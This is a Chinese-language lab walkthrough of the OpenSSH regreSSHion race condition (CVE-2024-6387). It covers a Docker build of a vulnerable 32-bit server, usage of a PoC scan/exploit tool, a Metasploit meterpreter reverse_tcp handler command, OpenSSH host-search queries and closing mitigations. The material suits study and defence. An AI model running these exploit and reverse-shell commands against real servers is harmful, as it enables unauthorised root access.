这本质上是一个统计性漏洞:需要大量尝试才能赢得竞态条件并成功执行任意代码。攻击者需要克服许多障碍,Schwartz 告诉 SecurityWeek。“即使在最佳情况下,最著名的漏洞也需要超过 4 小时才能利用。”
在 OpenSSH 9.8 的发布说明中,开发人员指出该漏洞仅在基于 glibc 的 32 位 Linux 系统上得到确认,OpenBSD 不受影响。
环境使用 Docker 搭建。
# 1.1. 编写 Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoC该漏洞利用仅适用于 32 位 OpenSSH 服务器。这是因为 PoC 使用了 32 位指针! 同时需要注意的是,某些版本已经打了补丁,并非所有服务器都存在漏洞。 已在以下环境测试:Kali Linux、ParrotSec、Ubuntu 22.04
OpenSSH 服务器中的远程未认证代码执行漏洞
CVE-2024-6387.py 是一款轻量级、高效的工具,旨在识别运行存在漏洞的 OpenSSH 版本的服务器,专门针对最近发现的 regreSSHion 漏洞(CVE-2024-6387)。该脚本可快速扫描多个 IP 地址、域名和 CIDR 网段,以检测潜在漏洞并确保您的基础设施安全。
在 OpenSSH 服务器(sshd)中发现了一个信号处理器竞态条件,当客户端未在 LoginGraceTime 秒内(默认为 120 秒,旧版 OpenSSH 中为 600 秒)完成身份验证时,sshd 的 SIGALRM 处理器会被异步调用。然而,该信号处理器调用了各种非异步信号安全的函数,例如 syslog()。
您可以在此处找到技术细节 here。
该漏洞由 Qualys 的研究人员于 2024 年 5 月 发现,并被分配标识符 CVE-2024-6387,是由于 sshd 中的信号处理器竞态条件所致,允许未认证的远程攻击者以 root 身份执行任意代码。
“如果客户端未在 LoginGraceTime 秒内(默认为 120 秒)完成身份验证,则 sshd 的 SIGALRM 处理器会被异步调用,并调用各种非异步信号安全的函数。”
“远程未认证攻击者可以利用此漏洞以 root 权限执行任意代码。”
要求:python3 最新版本
### 命令行参数
mode: 选择操作模式。选项为 scan 或 exploit。
-T, --targets: IP 地址、域名、包含 IP 地址的文件路径或 CIDR 网段。
-f, --outputfile: 保存结果的文件(例如 result.json)。
-g, --gracetimecheck: 识别版本后等待检查 LoginGraceTime 缓解措施的时间(秒)(默认:120 秒)。
-n, --nic: 网络网卡(默认:'eth0')。
-o, --output: 结果的输出格式(选项:'csv'、'txt'、'json')。
-p, --port: 要检查或利用的端口号(默认:22)。
-s, --speed: 增加竞态条件机会的线程数(默认:10)。
-t, --timeout: 连接超时时间(秒)(默认:1 秒)。
-H, --resolve-hostnames: 解析主机名
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
您只需先运行以下命令(将 {yourip} 替换为您的处理器地址),然后使用上述命令运行漏洞利用即可
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
该工具向控制台提供彩色编码输出,以提高可读性:
绿色:连接或操作成功。 红色:连接失败或出错。 黄色:警告或值得注意的信息。 青色:一般信息或状态更新。
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access补丁管理:迅速应用 OpenSSH 的可用补丁对于缩小漏洞窗口至关重要。及时打补丁可确保已知漏洞利用无法针对您的系统生效,从而减少攻击者可利用的机会窗口。
增强访问控制:通过网络级控制限制 SSH 访问可增加额外的防御层。此方法通过将 SSH 连接限制为仅允许授权的网络或 IP 地址,最大限度地减少潜在攻击者的暴露面。实施防火墙规则或使用 VPN 进行安全访问等工具可以有效执行这些限制。
网络分段:将网络划分为多个网段有助于控制潜在入侵的影响范围。通过将关键系统和敏感数据与网络中不太关键的部分隔离,可以降低攻击者横向移动的风险。这种分段可以辅以严格的访问控制和监控,以检测并响应任何未经授权的越界尝试。
入侵检测系统(IDS):部署 IDS 或入侵防御系统(IPS)可以实时监控网络流量和系统日志。这些系统可以检测与 regreSSHion 漏洞相关的可疑活动和潜在利用尝试。此类系统触发的警报允许在重大损害发生之前及时进行调查和缓解。
监控利用尝试:持续监控网络和系统日志至关重要。留意任何可能表明有人试图利用 OpenSSH 漏洞的异常模式或活动。这种主动方法有助于在威胁造成危害之前识别并响应威胁。